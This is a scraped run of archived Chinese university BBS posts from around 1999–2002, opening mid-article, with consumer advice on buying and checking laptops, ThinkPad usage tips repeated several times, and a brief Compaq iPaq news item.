用测试软件进行测试。最后选购时还应了解一下硬盘的防护功能，看其是否具有防震、 节能的智能技术。 CDROM光驱目前已成为大多数笔记本产品的主流配置，一般分为内置和外置结构。目 前光驱的速度多为24速，如果低于此速则要注意是否为返修货。一般来说，笔记本光驱 的光头多和托盘做在一起，选购时也要注意光头是否干净清晰，读盘是否顺利，无强烈 的震动。选择DVD光驱的话也应注意以上情况，此外，DVD光驱多为2倍速产品，而4倍速 以上的产品正是未来的发展趋势。 笔记本软驱的话一般以3寸软驱为主，某些新型笔记本已配置了ZIP 100MB、LS120等 大容量移动式可存储驱动器，购买时根据自身需要选购即可。 输入设备的选择： 笔记本的输入设备和台式机并不相同。首先来看鼠标，目前笔记本内置的鼠标设备 有三种：一种是指点杆，它的特点是移动快，但控制精度差，多在IBM的笔记本上使用； 一种是触摸板，这种设备没有机械磨损，控制精度也不错，多被用于大多数国产笔记本 和如COMPAQ之类的品牌机上。第三是轨迹球，它的控制精度最高，但也容易磨损且容易 进灰尘。这三种设备各有特点，购买时根据自己的手感选用即可。此外，有些笔记本产 品同时还支持2种指点设备，如HP的产品即内置了指点杆和触摸板。对于一些不习惯于使 用笔记本自带控制设备的人来说，也可使用外接鼠标，一般的笔记本产品都有串口、PS /2口及USB接口，建议购买PS/2口及USB接口的产品使用。 笔记本键盘的话也和台式机不同，由于受到笔记本产品体积的限制，大多数键盘使 用83键或86键的键盘。选购时以手感佳为最好。此外，一些新型笔记本把原来另设的各 种显示屏、音量调整键集成在键盘的功能键上使用。也使得整机的可靠性和紧凑性大大 增加。选购时需要注意一下。 网络设备的选择： 目前笔记本电脑的网络设备一般有Modem和网卡。笔记本专用的Modem一般分为内置 和外置两种，内置Modem多采用软件Modem工作方式，内置在主板上面，而外置Modem则以 PCMCIA卡方式插在PCMCIA插槽上使用。这两种工作方式各有特点，选购时可自由选择， 笔者建议采用内置Modem工作方式，这样不但便于安装使用，还节省了一个插槽。目前市 场上的Modem产品多以56KBPS为主，选购时应测试使用。笔记本网卡的作用是使笔记本能 与企业内部高速局域网连接以取得高速的下载速度，笔记本网卡的速度多以10M及100M为 主，一些产品还与Modem组成二合一产品，又提供了一种新的解决方案。 能量供应的选择： 笔记本电脑是通过电源适配器（AC Adapter）和电池来供电的。因此这些配件的质 量和性能好坏则决定了笔记本产品的工作时间。笔记本电脑所带的电源适配器都有各自 的输入输出电压和额定功率标准，因此在购买时应注意所配电源适配器是否和所购的笔 记本电脑相配，另外在选购时要注意长时间工作下电源适配器的温度，看其是否温度正 常。 目前的笔记本电池多分为镍氢(Ni-MH)电池和锂（Li-Ion）电池两种，镍氢(Ni-MH) 电池虽然价格便宜，但其缺点也是很明显的，它的电池容量比较小、使用寿命短而且体 积大，持续放电时间短、并且还具有一定的“记忆效应”，必须将电池的电量放尽之后 才能充电，否则，电池的可使用电量将会越来越少，其使用时间也会越来越短。因此该 类型电池多在低档笔记本电脑中使用。镍氢电池的可充电次数可以达到400次到700次左 右，每次使用时间在2小时以下。锂离子(Li－Ion)电池则是近几年出现的新技术产品， 它的容量比较大，能提供较长时间的工作能源，而且体积小、重量轻、使用寿命比较长 ，并且还没有“记忆效应”，可以随用随充，这无疑给用户带来很大的方便。不过锂离 子电池的价格较贵，而且可充电次数也较少，大约仅有400次左右。每次使用时能提供3 小时以上的电力，好的锂离子电池还能提供5小时以上的工作时间。 当然，笔记本工作时间的长短也和笔记本自身有关，如其BIOS设置中是否采用了节 能技术，有没有Suspend to Disk功能，其光驱软驱硬盘设备有没有节能功能都是很重要 的，如果需要更长时间的使用，则可以选用容量更大的电池和第二块备份电池。同时， 有的笔记本产品在使用时还提供了在线充电的功能，可有效的节省工作时间。 笔记本的扩充能力： 笔记本电脑的扩充能力也是很重要的，PCMCIA接口是笔记本电脑上一种特有的标准 协议接口，一般供笔记本电脑连接外部设备用，它的型号主要有有TYPE I和TYPE II两种 。一般笔记本电脑大多提供上下重叠的2个PCMCIA接口，合起来还可以安装TYPE III型卡 。而部分超便携笔记本为了节省体积只提供了1个或在机器左右侧分别提供了1个接口。 利用这些接口，可以外接特制的Modem卡、网卡、SCSI设备、扫描仪和硬盘等。选购时还 应注意机器是否具有足够的串并口、USB接口及扩展坞接口等，对于有多媒体要求的用户 ，还应注意笔记本是否有音频输入输出接口、AV及S端子输出接口等。最后还应了解CPU 、内存、硬盘等设备能否有效升级，其最大升级能力是多少。 3 、售后服务的重点性： 笔记本产品的售后服务是选购笔记本产品时最重要的注意事项。由于笔记本产品具 有移动频繁的特性，在使用时会或多或少的出现一些产品质量和设备损耗问题，所以笔 记本电脑的翻修率在电脑类产品中一直是很高的，因此售后服务问题对于购买笔记本的 消费者来说是很重要。在选购笔记本时应注意了解产品的售后服务期限是多久，售后服 务的具体内容是什么，维修更换周期一般是多久。一般来说，笔记本产品多以1年免费更 换部件，3年有限售后服务为主，大多数产品的维修更换周期在15天左右。有的名牌笔记 本产品还建立了完善的售后服务系统，并拥有全国或全球联保服务，这对于时常出差的 用户来说无疑是更加方便实用了。选购笔记本时建议选择售后服务较好的一些进口品牌 产品和国产产品，如IBM、东芝、联想的产品实行的售后服务都很不错。 4、附带软件及驱动程序： 笔记本电脑的附带软件和驱动程序对于笔记本产品的正常使用是很有帮助的。一般 来说，目前的主流笔记本产品在购买时都应预装中文Windows 98操作系统，且系统安装 是由用户自己来设定。同时在硬盘上还应附带一些常用软件及驱动程序。除了操作系统 的光盘外，不同厂商的笔记本产品所附送的软件也各不相同，如联想东芝的产品一般赠 送“我的办公室”等办公软件等。此外，笔记本产品特有的驱动程序也是很重要的，一 般来说在购买时都应该有附送的驱动程序光盘，这样就不必为在重装系统后找一些驱动 而发愁了。最后，部分厂商在产品软件中还附送了随机恢复光盘，一旦笔记本软件系统 发生崩溃，恢复光盘可以快速有效的复原系统状况，从而省去了不少后顾之忧。 5 、其它注意事项： 选购笔记本产品时还应注意机器的外观和操作手感，在挑选机型时，还要注意产品 是否符合人体工程学，并且操作是否方便，有没有多媒体快捷键及Internet快捷键，这 些都是很重要的。此外还应该注意笔记本电脑的散热情况如何，是否有风扇散热、片膜 散热、键盘对流散热、散热管散热、温控风扇散热等新型技术，这对于笔记本产品的工 作稳定性能是很有用处的。最后还需要详细检测笔记本附带的中文说明书和中文保修卡 是否齐全，其外观包装是否正规，这些也是区别走私水货及原装正品的重要方法。 -- 剑：无情的凶器 绯色：不祥的颜色 绯色之剑：无情地给人带来灾难的凶器！ �ü�ü�ü�ü�ü 绯 �ü�ü 色 �ü�ü 之 �ü�ü 剑 �ü�ü�ü�ü�ü ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.9.0.160] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: leric (开心~还有梦), 信区: Hardware 标 题: 笔记本电脑购买三大秘技 发信站: 日月光华站 (Fri Aug 10 09:09:17 2001) , 站内信件 购机秘技之一——外观标准 � � 购买行货就无所谓了，找一家稳定的、规模相对大一些的代理就可以轻松搞定，一 切麻烦都可以扔给代理商去解决。虽然付钱后不一定还这么痛快，毕竟是得管，要不然 就去消协解决，多说无意。这里笔者想重点谈谈行货机在购买时需要注意的要点，毕竟 在国内，水货比行货机的价格要便宜很多，而在这种利益驱使下，一些JS往往以水货充 行货，欺骗此方面知识不充分的用户。一台机器拿来后，检查外观主要应该涉及以下三 个方面，一是序列号，二是外包装，三是机器外观。 � � 读者先要认真检查一下笔记本电脑外包装箱上的序列号是否与机器机身上的序列号 相符合。机身上的序列号一般都在笔记本电脑机身的底座上，在查序列号的同时，还要 检查其是否有过被涂改、被重贴过的痕迹。另外，在开机时，要先进入笔记本电脑的主 板BIOS里，检查一下BIOS中的序列号和机身的序列号是否一致。三个号都一致的，笔记 本电脑的来源基本没有问题，如果有一个不一致，都是水货或者拼装货无疑。 � � 检查完笔记本电脑的序列号后，还要检查一下机器本身的包装是否有破裂或毁损的 痕迹。这项检查主要是排除买到一些被别人使用过的二手笔记本电脑。这里读者可以多 作些了解，在一些欧美国家，笔记本电脑是可以试用的，试用2-3个月后，不满意可以退 回。这样的机器一般都叫作返修货。而这种产品比行货的价格要低不少，但国内有一些 JS就利用这个差价来欺骗消费者。识破的办法很简单，首先是不要迷信机箱的封条是否 破损，所有的机器在到消费者手里前，大都是会被打箱验过的，因为商家自己也要确认 笔记本电脑的屏幕是否有损坏，部件是否完整等。一般商家在取到产品以后，都会对机 器进行检查，然后就会进行出售，但是产品包装一般不会发生破裂或损坏的情况，如果 发生这样的情况，那就说明这款笔记本有一定的问题，用户购买时要注意。从这个意义 上说，序列号和外包装的检查也是购买笔记本电脑时需要注意的重中之重。 � � 序列号和外包装都检查无误后，最后读者还要注意检查一下笔记本电脑本身的外观 情况。重点是看一下机壳表面是否有裂痕或滑伤。如果外壳有裂痕或者划伤，该款笔记 本肯定有被人多次使用过。开机后检查一下LCD屏幕是否有划伤、波纹或坏点，LCD是笔 记本电脑的生命，也是除了CPU以外最值钱的地方，因此这项检查也是十分关键的。多试 试LCD在不同颜色下的表现，一般在纯红、纯黑的屏幕显示下，LCD的坏点可以立即现形 ，一般不应多于3个，但最好是有一个也要更换，否则很容易增长哟。 购机秘技之二——测试规格: � � 检查完毕笔记本电脑的外观后，接下来就要认真查一下笔记本电脑的规划是否与你 想要购的机器的规格完全一致了。一般而言，JS欺骗消费者的手段也集中反映在这里。 有条件的话，在购买笔记本电脑的时候，随身带一款小巧的测试工具软件，利用软件来 测试一下机器的规格，认真检查一下笔记本原规格与出货规格是否相同，其中包含如CP U、HDD、RAM、CD-ROM/DVD-ROM、FDD的各项参数值是否正确。 � � 一些不法经销商常用的手法就是更换配件，如IBM的原装硬盘被换成日立OEM硬盘， 原装的USB DVD光驱被换成PCMAIC的普通光驱，原装的USB软驱被换成普通的并口软驱， 原装的内存被换成普通的内存等等，更有甚者，还会把你原来本机中的节能CPU换成普通 的台式机CPU，呵呵，有些事情甚至消费者都不敢想象，JS啊。不过，这些手段只要大家 在购买的时候稍稍用心些，不要怕费时间，基本都可以被识破。另外，在购买时还要注 意认真检查说明书内有详述说明机器的规格，以及检查盒子内所附送之产品配件，附赠 之操作系统与驱动程序等是否与说明书的配件包说明相同。 � � 当然，象计算机背包以及其它赠品，如附加DRAM，软件或鼠标等等如果有当然更好 ，尽量向经销商索要，一般都会给你的。如果产品确认都没有问题，再多试一下操作系 统运行是否出现异常；多媒体播放音效、影像是否正常；MODEM/LAN上网是否正常；散热 风扇工作是否正常；笔记本鼠标定位是否正常；变压器(ADAPTER)充电是否正常等等。另 外，如果笔记本电脑还配有DVD光驱，还必需对DVD光驱的读盘进行检查。如果是CD-RW， 就应该对其刻录光盘的能力进行测试。 购机秘技之三——索取承诺: � � 毕竟是个万元的大消费项目，再好的品质也不能保证一辈子不出问题，因此，在笔 记本购买的最后一步，请读者千万不要忘记向商家索取一个承诺，即拿到一份商家出示 的保修凭证。检查质量保证书之各项条件是否合理，确认商家当商品出现问题时，是否 可以退或换货、修等，并同时确认保修期限、维修地点、送修需要时间等，呵呵，还要 最后检查一下保证书是否有商家的盖章。千万别赚烦，很多事情意想不到哟。OK，如果 你现在还没有一款属于自己的笔记本电脑，看完本文后，是应该考虑配备一台的时候了 ，呵呵。（转自赛迪网） -- 简单的生活,简单的目标,理想的本身就是好好生活...... ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.83.114.101] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: leric (开心~还有梦), 信区: Hardware 标 题: 笔记本电脑购买三大秘技 发信站: 日月光华站 (Fri Aug 10 09:09:17 2001) , 站内信件 购机秘技之一——外观标准 � � 购买行货就无所谓了，找一家稳定的、规模相对大一些的代理就可以轻松搞定，一 切麻烦都可以扔给代理商去解决。虽然付钱后不一定还这么痛快，毕竟是得管，要不然 就去消协解决，多说无意。这里笔者想重点谈谈行货机在购买时需要注意的要点，毕竟 在国内，水货比行货机的价格要便宜很多，而在这种利益驱使下，一些JS往往以水货充 行货，欺骗此方面知识不充分的用户。一台机器拿来后，检查外观主要应该涉及以下三 个方面，一是序列号，二是外包装，三是机器外观。 � � 读者先要认真检查一下笔记本电脑外包装箱上的序列号是否与机器机身上的序列号 相符合。机身上的序列号一般都在笔记本电脑机身的底座上，在查序列号的同时，还要 检查其是否有过被涂改、被重贴过的痕迹。另外，在开机时，要先进入笔记本电脑的主 板BIOS里，检查一下BIOS中的序列号和机身的序列号是否一致。三个号都一致的，笔记 本电脑的来源基本没有问题，如果有一个不一致，都是水货或者拼装货无疑。 � � 检查完笔记本电脑的序列号后，还要检查一下机器本身的包装是否有破裂或毁损的 痕迹。这项检查主要是排除买到一些被别人使用过的二手笔记本电脑。这里读者可以多 作些了解，在一些欧美国家，笔记本电脑是可以试用的，试用2-3个月后，不满意可以退 回。这样的机器一般都叫作返修货。而这种产品比行货的价格要低不少，但国内有一些 JS就利用这个差价来欺骗消费者。识破的办法很简单，首先是不要迷信机箱的封条是否 破损，所有的机器在到消费者手里前，大都是会被打箱验过的，因为商家自己也要确认 笔记本电脑的屏幕是否有损坏，部件是否完整等。一般商家在取到产品以后，都会对机 器进行检查，然后就会进行出售，但是产品包装一般不会发生破裂或损坏的情况，如果 发生这样的情况，那就说明这款笔记本有一定的问题，用户购买时要注意。从这个意义 上说，序列号和外包装的检查也是购买笔记本电脑时需要注意的重中之重。 � � 序列号和外包装都检查无误后，最后读者还要注意检查一下笔记本电脑本身的外观 情况。重点是看一下机壳表面是否有裂痕或滑伤。如果外壳有裂痕或者划伤，该款笔记 本肯定有被人多次使用过。开机后检查一下LCD屏幕是否有划伤、波纹或坏点，LCD是笔 记本电脑的生命，也是除了CPU以外最值钱的地方，因此这项检查也是十分关键的。多试 试LCD在不同颜色下的表现，一般在纯红、纯黑的屏幕显示下，LCD的坏点可以立即现形 ，一般不应多于3个，但最好是有一个也要更换，否则很容易增长哟。 购机秘技之二——测试规格: � � 检查完毕笔记本电脑的外观后，接下来就要认真查一下笔记本电脑的规划是否与你 想要购的机器的规格完全一致了。一般而言，JS欺骗消费者的手段也集中反映在这里。 有条件的话，在购买笔记本电脑的时候，随身带一款小巧的测试工具软件，利用软件来 测试一下机器的规格，认真检查一下笔记本原规格与出货规格是否相同，其中包含如CP U、HDD、RAM、CD-ROM/DVD-ROM、FDD的各项参数值是否正确。 � � 一些不法经销商常用的手法就是更换配件，如IBM的原装硬盘被换成日立OEM硬盘， 原装的USB DVD光驱被换成PCMAIC的普通光驱，原装的USB软驱被换成普通的并口软驱， 原装的内存被换成普通的内存等等，更有甚者，还会把你原来本机中的节能CPU换成普通 的台式机CPU，呵呵，有些事情甚至消费者都不敢想象，JS啊。不过，这些手段只要大家 在购买的时候稍稍用心些，不要怕费时间，基本都可以被识破。另外，在购买时还要注 意认真检查说明书内有详述说明机器的规格，以及检查盒子内所附送之产品配件，附赠 之操作系统与驱动程序等是否与说明书的配件包说明相同。 � � 当然，象计算机背包以及其它赠品，如附加DRAM，软件或鼠标等等如果有当然更好 ，尽量向经销商索要，一般都会给你的。如果产品确认都没有问题，再多试一下操作系 统运行是否出现异常；多媒体播放音效、影像是否正常；MODEM/LAN上网是否正常；散热 风扇工作是否正常；笔记本鼠标定位是否正常；变压器(ADAPTER)充电是否正常等等。另 外，如果笔记本电脑还配有DVD光驱，还必需对DVD光驱的读盘进行检查。如果是CD-RW， 就应该对其刻录光盘的能力进行测试。 购机秘技之三——索取承诺: � � 毕竟是个万元的大消费项目，再好的品质也不能保证一辈子不出问题，因此，在笔 记本购买的最后一步，请读者千万不要忘记向商家索取一个承诺，即拿到一份商家出示 的保修凭证。检查质量保证书之各项条件是否合理，确认商家当商品出现问题时，是否 可以退或换货、修等，并同时确认保修期限、维修地点、送修需要时间等，呵呵，还要 最后检查一下保证书是否有商家的盖章。千万别赚烦，很多事情意想不到哟。OK，如果 你现在还没有一款属于自己的笔记本电脑，看完本文后，是应该考虑配备一台的时候了 ，呵呵。（转自赛迪网） -- 简单的生活,简单的目标,理想的本身就是好好生活...... ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.83.114.101] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: wxx (Nokia 7210), 信区: Hardware 标 题: 高手必读：笔记本使用四招-zz 发信站: 日月光华 (2002年05月17日12:08:11 星期五), 站内信件 　　近几年来，笔记本电脑成为电脑市场里最热门的话题。到了2002年，随着竞争的白 热化，眼看一波更汹涌的笔记本热潮又扑面而来。4月1日，IBM全线下调了ThinkPad笔记 本电脑价格，降幅在10%至15%，最大降幅达20%。价格调整是大势所趋，相信很多人已经 开始盘算着为自己购买一台钟情已久的笔记本了。笔记本和台式机虽然都是PC，但毕竟 有所不同，这里介绍一些笔记本使用过程中的小知识，希望能够对刚刚开始使用笔记本 ，或者正在选购笔记本的朋友有所帮助。 酣眠必不可少，小睡也别有风味——休眠状态，帮您省电 　　和台式机相比，笔记本电脑最大的优势便是可以移动办公。但是，如果不能外接电 源，电池就成为了笔记本唯一的供电能源。如果长时间不使用笔记本，最好不要像台式 机那样将笔记本始终置于常规状态。一个简便的方法就是直接关闭显示屏，按下显示屏 ，举手之劳，却可以有效的节约电池的能量。当需要再次使用的时候，只要打开显示屏 ，机器就会自动回到操作前的状态。 轻松地我将离去，正如我轻松地来——F12快速存盘 　　每次有大量文件需要处理的用户一定有所感触，当结束了一天的工作之后，需要把 每一个窗口一一存盘，然后再一一关闭。笔记本电脑的一项功能便是可以实现快速保存 现有工作任务。各个笔记本厂商的方法略有不同。以IBM ThinkPad为例，用户决定暂时 把手里的工作停下来的时候只要同时按下“Fn”和“F12”键，就可以实现快速存盘，同 时可以保留现在的窗口状态。当下次开机的时候，无需重新调用每一个应用程序，关机 以前的工作状态可以迅速得到恢复。 运筹键盘之上，决胜显示之功——双屏显示 　　目前，大多数的笔记本电脑都具有双屏显示功能，允许在LCD和外接显示器或投影仪 上同时显示不同的输出内容，两个显示设备可以分别独立调整，而且可以支持不同的应 用。这便使得用户在不影响外接监视器或者投影仪正常工作的前提下，通过笔记本LCD查 找数据或编辑文档。ThinkPad笔记本的“Fn”和“F3”键配合使用可以实现这一功能。 这对于需要经常使用笔记本电脑进行演示的用户来说非常实用。 山穷水尽疑无路，柳暗花明有一碟——快速系统恢复 　　笔记本电脑都配有系统恢复光盘，在购买笔记本的时候一定要将这张光盘收好。当 系统因为病毒或误操作而崩溃时，它能起到很好的作用。一般的台式机系统一旦崩溃， 只能直接格式化，重装系统，费时费力。假如笔记本的系统崩溃，只要先将BIOS程序里 的引导驱动设置成光盘引导，然后重新启动机器，放入笔记本随机奉送的系统恢复盘， 在英文提示界面上选择重新覆盖操作系统就可以了。执行完上述操作，笔记本便会自动 运行恢复程序。虽然看不出有任何反映，但硬盘指示灯和光驱指示灯还会亮着。大约15 —20分钟之后，笔记本就会恢复到购机的初始的状态。 　　实际上，有的笔记本还针对系统崩溃提供了更为简便的解决方案。就拿IBM ThinkP ad笔记本来说，如果系统崩溃，无需恢复光盘。因为ThinkPad内部已经集成了系统恢复 功能模快。一旦系统崩溃，用户只需要在重新开机的时候，按下“F11”键，紧接着系统 就会自行恢复。 　　相信掌握了这些技巧，您就可以放心的体验笔记本电脑带来的便利和高效了。 -- 春雨： �x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x � / / / / / / / / � � 你的温柔是我度过寒冬唯一的 / / / / ���� � / / / / 理由... ���� � �______________________________________________________�____� ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 211.144.84.105] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
发信人: Tortoise (黑子), 信区: Network 标 题: 康柏推出iPaq网络电脑 发信站: 日月光华站 (Tue Nov 16 12:02:57 1999) , 转信 　　10日康柏公司推出了因特网终端“iPaq”,该机采用Windows 2000 操作系统，主要用于因特网业务。端的体积较现行微机要小，造型也 更具特色。 　　“iPaq”主机上未提供ISA以及PCI端口，但提供USB端口、LAN插 座、耳机插座、VGA端口。另外标准“iPaq”还备有并/串行接口、键 盘接口、PS/2鼠标接口。“iPaq”采用Celeron或Pentium III微处理 器芯片，工作频率为500MHz。标准配备10Mbps的以太网。主内存采用 SDRAM，容量为64MB。 -- 想跟我赛跑？哼！ ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 203.95.7.172]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: wxx (Nokia 7210), 信区: Hardware 标 题: 高手必读：笔记本使用四招-zz 发信站: 日月光华 (2002年05月17日12:08:11 星期五), 站内信件 　　近几年来，笔记本电脑成为电脑市场里最热门的话题。到了2002年，随着竞争的白 热化，眼看一波更汹涌的笔记本热潮又扑面而来。4月1日，IBM全线下调了ThinkPad笔记 本电脑价格，降幅在10%至15%，最大降幅达20%。价格调整是大势所趋，相信很多人已经 开始盘算着为自己购买一台钟情已久的笔记本了。笔记本和台式机虽然都是PC，但毕竟 有所不同，这里介绍一些笔记本使用过程中的小知识，希望能够对刚刚开始使用笔记本 ，或者正在选购笔记本的朋友有所帮助。 酣眠必不可少，小睡也别有风味——休眠状态，帮您省电 　　和台式机相比，笔记本电脑最大的优势便是可以移动办公。但是，如果不能外接电 源，电池就成为了笔记本唯一的供电能源。如果长时间不使用笔记本，最好不要像台式 机那样将笔记本始终置于常规状态。一个简便的方法就是直接关闭显示屏，按下显示屏 ，举手之劳，却可以有效的节约电池的能量。当需要再次使用的时候，只要打开显示屏 ，机器就会自动回到操作前的状态。 轻松地我将离去，正如我轻松地来——F12快速存盘 　　每次有大量文件需要处理的用户一定有所感触，当结束了一天的工作之后，需要把 每一个窗口一一存盘，然后再一一关闭。笔记本电脑的一项功能便是可以实现快速保存 现有工作任务。各个笔记本厂商的方法略有不同。以IBM ThinkPad为例，用户决定暂时 把手里的工作停下来的时候只要同时按下“Fn”和“F12”键，就可以实现快速存盘，同 时可以保留现在的窗口状态。当下次开机的时候，无需重新调用每一个应用程序，关机 以前的工作状态可以迅速得到恢复。 运筹键盘之上，决胜显示之功——双屏显示 　　目前，大多数的笔记本电脑都具有双屏显示功能，允许在LCD和外接显示器或投影仪 上同时显示不同的输出内容，两个显示设备可以分别独立调整，而且可以支持不同的应 用。这便使得用户在不影响外接监视器或者投影仪正常工作的前提下，通过笔记本LCD查 找数据或编辑文档。ThinkPad笔记本的“Fn”和“F3”键配合使用可以实现这一功能。 这对于需要经常使用笔记本电脑进行演示的用户来说非常实用。 山穷水尽疑无路，柳暗花明有一碟——快速系统恢复 　　笔记本电脑都配有系统恢复光盘，在购买笔记本的时候一定要将这张光盘收好。当 系统因为病毒或误操作而崩溃时，它能起到很好的作用。一般的台式机系统一旦崩溃， 只能直接格式化，重装系统，费时费力。假如笔记本的系统崩溃，只要先将BIOS程序里 的引导驱动设置成光盘引导，然后重新启动机器，放入笔记本随机奉送的系统恢复盘， 在英文提示界面上选择重新覆盖操作系统就可以了。执行完上述操作，笔记本便会自动 运行恢复程序。虽然看不出有任何反映，但硬盘指示灯和光驱指示灯还会亮着。大约15 —20分钟之后，笔记本就会恢复到购机的初始的状态。 　　实际上，有的笔记本还针对系统崩溃提供了更为简便的解决方案。就拿IBM ThinkP ad笔记本来说，如果系统崩溃，无需恢复光盘。因为ThinkPad内部已经集成了系统恢复 功能模快。一旦系统崩溃，用户只需要在重新开机的时候，按下“F11”键，紧接着系统 就会自行恢复。 　　相信掌握了这些技巧，您就可以放心的体验笔记本电脑带来的便利和高效了。 -- 春雨： �x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x � / / / / / / / / � � 你的温柔是我度过寒冬唯一的 / / / / ���� � / / / / 理由... ���� � �______________________________________________________�____� ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 211.144.84.105] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: wxx (Nokia 7210), 信区: Hardware 标 题: 高手必读：笔记本使用四招-zz 发信站: 日月光华 (2002年05月17日12:08:11 星期五), 站内信件 　　近几年来，笔记本电脑成为电脑市场里最热门的话题。到了2002年，随着竞争的白 热化，眼看一波更汹涌的笔记本热潮又扑面而来。4月1日，IBM全线下调了ThinkPad笔记 本电脑价格，降幅在10%至15%，最大降幅达20%。价格调整是大势所趋，相信很多人已经 开始盘算着为自己购买一台钟情已久的笔记本了。笔记本和台式机虽然都是PC，但毕竟 有所不同，这里介绍一些笔记本使用过程中的小知识，希望能够对刚刚开始使用笔记本 ，或者正在选购笔记本的朋友有所帮助。 酣眠必不可少，小睡也别有风味——休眠状态，帮您省电 　　和台式机相比，笔记本电脑最大的优势便是可以移动办公。但是，如果不能外接电 源，电池就成为了笔记本唯一的供电能源。如果长时间不使用笔记本，最好不要像台式 机那样将笔记本始终置于常规状态。一个简便的方法就是直接关闭显示屏，按下显示屏 ，举手之劳，却可以有效的节约电池的能量。当需要再次使用的时候，只要打开显示屏 ，机器就会自动回到操作前的状态。 轻松地我将离去，正如我轻松地来——F12快速存盘 　　每次有大量文件需要处理的用户一定有所感触，当结束了一天的工作之后，需要把 每一个窗口一一存盘，然后再一一关闭。笔记本电脑的一项功能便是可以实现快速保存 现有工作任务。各个笔记本厂商的方法略有不同。以IBM ThinkPad为例，用户决定暂时 把手里的工作停下来的时候只要同时按下“Fn”和“F12”键，就可以实现快速存盘，同 时可以保留现在的窗口状态。当下次开机的时候，无需重新调用每一个应用程序，关机 以前的工作状态可以迅速得到恢复。 运筹键盘之上，决胜显示之功——双屏显示 　　目前，大多数的笔记本电脑都具有双屏显示功能，允许在LCD和外接显示器或投影仪 上同时显示不同的输出内容，两个显示设备可以分别独立调整，而且可以支持不同的应 用。这便使得用户在不影响外接监视器或者投影仪正常工作的前提下，通过笔记本LCD查 找数据或编辑文档。ThinkPad笔记本的“Fn”和“F3”键配合使用可以实现这一功能。 这对于需要经常使用笔记本电脑进行演示的用户来说非常实用。 山穷水尽疑无路，柳暗花明有一碟——快速系统恢复 　　笔记本电脑都配有系统恢复光盘，在购买笔记本的时候一定要将这张光盘收好。当 系统因为病毒或误操作而崩溃时，它能起到很好的作用。一般的台式机系统一旦崩溃， 只能直接格式化，重装系统，费时费力。假如笔记本的系统崩溃，只要先将BIOS程序里 的引导驱动设置成光盘引导，然后重新启动机器，放入笔记本随机奉送的系统恢复盘， 在英文提示界面上选择重新覆盖操作系统就可以了。执行完上述操作，笔记本便会自动 运行恢复程序。虽然看不出有任何反映，但硬盘指示灯和光驱指示灯还会亮着。大约15 —20分钟之后，笔记本就会恢复到购机的初始的状态。 　　实际上，有的笔记本还针对系统崩溃提供了更为简便的解决方案。就拿IBM ThinkP ad笔记本来说，如果系统崩溃，无需恢复光盘。因为ThinkPad内部已经集成了系统恢复 功能模快。一旦系统崩溃，用户只需要在重新开机的时候，按下“F11”键，紧接着系统 就会自行恢复。 　　相信掌握了这些技巧，您就可以放心的体验笔记本电脑带来的便利和高效了。 -- 春雨： �x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x�x � / / / / / / / / � � 你的温柔是我度过寒冬唯一的 / / / / ���� � / / / / 理由... ���� � �______________________________________________________�____� ※ 来源:·日月光华 bbs.fudan.edu.cn·[FROM: 211.144.84.105] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: wxx (Nokia 7210), 信区: Hardware 标 题: 高手必读：笔记本使用四招-zz 发信站: 日月光华 (2002年05月17日12:08:11 星期五), 站内信件 　　近几年来，笔记本电脑成为电脑市场里最热门的话题。到了2002年，随着竞争的白 热化，眼看一波更汹涌的笔记本热潮又扑面而来。4月1日，IBM全线下调了ThinkPad笔记 本电脑价格，降幅在10%至15%，最大降幅达20%。价格调整是大势所趋，相信很多人已经 开始盘算着为自己购买一台钟情已久的笔记本了。笔记本和台式机虽然都是PC，但毕竟 有所不同，这里介绍一些笔记本使用过程中的小知识，希望能够对刚刚开始使用笔记本 ，或者正在选购笔记本的朋友有所帮助。 酣眠必不可少，小睡也别有风味——休眠状态，帮您省电 　　和台式机相比，笔记本电脑最大的优势便是可以移动办公。但是，如果不能外接电 源，电池就成为了笔记本唯一的供电能源。如果长时间不使用笔记本，最好不要像台式 机那样将笔记本始终置于常规状态。一个简便的方法就是直接关闭显示屏，按下显示屏 ，举手之劳，却可以有效的节约电池的能量。当需要再次使用的时候，只要打开显示屏 ，机器就会自动回到操作前的状态。 轻松地我将离去，正如我轻松地来——F12快速存盘 　　每次有大量文件需要处理的用户一定有所感触，当结束了一天的工作之后，需要把 每一个窗口一一存盘，然后再一一关闭。笔记本电脑的一项功能便是可以实现快速保存 现有工作任务。各个笔记本厂商的方法略有不同。以IBM ThinkPad为例，用户决定暂时 把手里的工作停下来的时候只要同时按下“Fn”和“F12”键，就可以实现快速存盘，同 时可以保留现在的窗口状态。当下次开机的时候，无需重新调用每一个应用程序，关机 以前的工作状态可以迅速得到恢复。 运筹键盘之上，决胜显示之功——双屏显示 　　目前，大多数的笔记本电脑都具有双屏显示功能，允许在LCD和外接显示器或投影仪 上同时显示不同的输出内容，两个显示设备可以分别独立调整，而且可以支持不同的应 用。这便使得用户在不影响外接监视器或者投影仪正常工作的前提下，通过笔记本LCD查 找数据或编辑文档。ThinkPad笔记本的“Fn”和“F3”键配合使用可以实现这一功能。 这对于需要经常使用笔记本电脑进行演示的用户来说非常实用。 